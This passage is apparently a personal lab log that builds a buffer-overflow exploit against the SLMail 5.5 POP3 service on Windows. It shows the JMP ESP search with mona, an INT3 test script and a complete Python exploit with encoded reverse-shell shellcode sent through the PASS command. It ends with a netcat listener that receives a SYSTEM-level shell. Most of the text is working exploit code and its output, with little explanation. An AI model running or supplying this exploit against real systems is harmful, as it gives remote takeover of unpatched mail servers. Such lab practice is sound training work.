0x00400000 | 0x0045c000 | 0x0005c000 | False  | False   | False |  False   | False  | 5.1 [SLmail.exe] (C:\Program
Files (x86)\SLmail\SLmail.exe)
0x5f400000 | 0x5f4f4000 | 0x000f4000 | False  | False   | False |  False   | True   | 6.00.8063.0 [SLMFC.DLL] (C:
\Windows\SYSTEM32\SLMFC.DLL)
```

conn_exec_int3 --

```
GET JMP ESP OP CODE --

22:53:43 cdowns@7242-alpha-reticuli SLMail-5.5.0 msf-
nasm_shell
nasm > jmp
esp
00000000  FFE4              jmp
esp
nasm >

SEARCH MONA --

!mona find -s "\xff\xe4" -m slmfc.dll

----- snip ------

0x5f4a358f : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b41e3 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b5663 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS:
True, v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b6243 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS:
True, v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b63a3 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b7963 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS:
True, v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b7b23 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS:
True, v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4b9703 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4bac53 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4bbe53 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4bcc6b : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4beac3 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4bf0bb : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c067b : "\xff\xe4" | ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c078b : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c0ea3 : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c14fb : "\xff\xe4" |  {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c2d63 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS:
True, v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)
0x5f4c4d13 : "\xff\xe4" | ascii {PAGE_READONLY} [SLMFC.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True,
v6.00.8063.0 (C:\Windows\SYSTEM32\SLMFC.DLL)

UPDATE SCRIPT --

#!/usr/bin/env python

import socket
import struct

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.166',110))

# jmp esp --
# !mona jmp -r esp -cpb "\x00\x0A\x0D"

# msf-nasm_shell
#             nasm > jmp
esp
#             00000000  FFE4              jmp
esp
#             nasm >

# !mona find -s "\xff\xe4" -m slmfc.dll
```

```
ptr_jmp_esp = 0x5f4a358f

# buffer --
# msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606
b_totlen = 2700 # payload len
e_offset = 2606 # eip

# offsets --
# add badchar_test to payload --
buf = ""
buf += "A"*(e_offset - len(buf))
buf += struct.pack("<I", ptr_jmp_esp)
buf += "\xCC\xCC\xCC\xCC" # esp INT3
buf += "D"*(b_totlen - len(buf))

# here we go --
s.send('USER dirtbag' + '\r\n')
data = s.recv(1024)

s.send('PASS ' + buf + '\r\n')
data = s.recv(1024)
s.close()
```

registers --

```
0289A122   CC                INT3
0289A123   CC                INT3
0289A124   44                INC ESP
0289A125   44                INC ESP
0289A126   44                INC ESP
0289A127   44                INC ESP
0289A128   44                INC ESP
0289A129   44                INC ESP
```

LOOKS GOOD !!!

conn_exec_cmd --

CREATE WINDOWS "CMD/EXEC" PAYLOAD --
MODOFY ASSEMBLED PAYLOAD --

conn_exec_r_shell_1.py

SCRIPT --
OFFSEC WAY --

```
#!/usr/bin/env python

import socket
import struct

# jmp esp --
# !mona jmp -r esp -cpb "\x00\x0A\x0D"

# msf-nasm_shell
#             nasm > jmp
esp
#             00000000  FFE4              jmp
esp
#             nasm >

# !mona find -s "\xff\xe4" -m slmfc.dll
ptr_jmp_esp = 0x5f4a358f

# nasm op code slide --
# msf-nasm_shell
#             nasm > sub esp,
0x10
#             00000000  83EC10            sub esp,byte
+0x10
```

```
# nasm >
sub_esp_10 = "\x83\xec\x10"
#sub_esp_10 = "\x90"*8

# buffer --
# msf-pattern_offset -l 2700 -q 39694438
# [*] Exact match at offset 2606
b_totlen = 2700 # payload len / upping from 2700
e_offset = 2606 # eip

# shellcode --
sc =  ""
sc += "\xdd\xc0\xba\xc2\x54\xae\x1b\xd9\x74\x24\xf4\x5e\x33"
sc += "\xc9\xb1\x52\x31\x56\x17\x03\x56\x17\x83\x2c\xa8\x4c"
sc += "\xee\x4c\xb9\x13\x11\xac\x3a\x74\x9b\x49\x0b\xb4\xff"
sc += "\x1a\x3c\x04\x8b\x4e\xb1\xef\xd9\x7a\x42\x9d\xf5\x8d"
sc += "\xe3\x28\x20\xa0\xf4\x01\x10\xa3\x76\x58\x45\x03\x46"
sc += "\x93\x98\x42\x8f\xce\x51\x16\x58\x84\xc4\x86\xed\xd0"
sc += "\xd4\x2d\xbd\xf5\x5c\xd2\x76\xf7\x4d\x45\x0c\xae\x4d"
sc += "\x64\xc1\xda\xc7\x7e\x06\xe6\x9e\xf5\xfc\x9c\x20\xdf"
sc += "\xcc\x5d\x8e\x1e\xe1\xaf\xce\x67\xc6\x4f\xa5\x91\x34"
sc += "\xed\xbe\x66\x46\x29\x4a\x7c\xe0\xba\xec\x58\x10\x6e"
sc += "\x6a\x2b\x1e\xdb\xf8\x73\x03\xda\x2d\x08\x3f\x57\xd0"
sc += "\xde\xc9\x23\xf7\xfa\x92\xf0\x96\x5b\x7f\x56\xa6\xbb"
sc += "\x20\x07\x02\xb0\xcd\x5c\x3f\x9b\x99\x91\x72\x23\x5a"
sc += "\xbe\x05\x50\x68\x61\xbe\xfe\xc0\xea\x18\xf9\x27\xc1"
sc += "\xdd\x95\xd9\xea\x1d\xbc\x1d\xbe\x4d\xd6\xb4\xbf\x05"
sc += "\x26\x38\x6a\x89\x76\x96\xc5\x6a\x26\x56\xb6\x02\x2c"
sc += "\x59\xe9\x33\x4f\xb3\x82\xde\xaa\x54\x6d\xb6\xb4\xa6"
sc += "\x05\xc5\xb4\xa7\x6e\x40\x52\xcd\x80\x05\xcd\x7a\x38"
sc += "\x0c\x85\x1b\xc5\x9a\xe0\x1c\x4d\x29\x15\xd2\xa6\x44"
sc += "\x05\x83\x46\x13\x77\x02\x58\x89\x1f\xc8\xcb\x56\xdf"
sc += "\x87\xf7\xc0\x88\xc0\xc6\x18\x5c\xfd\x71\xb3\x42\xfc"
sc += "\xe4\xfc\xc6\xdb\xd4\x03\xc7\xae\x61\x20\xd7\x76\x69"
sc += "\x6c\x83\x26\x3c\x3a\x7d\x81\x96\x8c\xd7\x5b\x44\x47"
sc += "\xbf\x1a\xa6\x58\xb9\x22\xe3\x2e\x25\x92\x5a\x77\x5a"
sc += "\x1b\x0b\x7f\x23\x41\xab\x80\xfe\xc1\xdb\xca\xa2\x60"
sc += "\x74\x93\x37\x31\x19\x24\xe2\x76\x24\xa7\x06\x07\xd3"
sc += "\xb7\x63\x02\x9f\x7f\x98\x7e\xb0\x15\x9e\x2d\xb1\x3f"

# assemble payload --
buf = ""
buf += "A"*(e_offset)
buf += struct.pack("<I", ptr_jmp_esp)
buf += "\x90"*8
buf += sc # shellcode
buf += "D"*(b_totlen - len(buf))

# here we go --
try:
              s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              s.connect(('192.168.0.166',110))
              print "\nsending shellcode: "
              s.send('USER dirtbag' + '\r\n')
              data = s.recv(1024)

              s.send('PASS ' + buf + '\r\n')
              data = s.recv(1024)
              s.close()
              print "\n[+]attempting shell ??"

except:
              "Connection failed !"
```

netcat / priv esc --

```
0:59:25 cdowns@7242-alpha-reticuli SLMail-5.5.0 sudo nc -4 -lnvp 443
Listening on [0.0.0.0] (family 2, port 443)
Connection from 192.168.0.166 49916 received!
Microsoft Windows [Version 10.0.17134.706]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\SLmail\System>whoami /priv
whoami /priv
```

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Disabled
SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
SeTcbPrivilege                            Act as part of the operating system                                Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Disabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
SeBackupPrivilege                         Back up files and directories                                      Disabled
SeRestorePrivilege                        Restore files and directories                                      Disabled
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeAuditPrivilege                          Generate security audits                                           Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\Program Files (x86)\SLmail\System>whoami
whoami
nt authority\system

C:\Program Files (x86)\SLmail\System>
```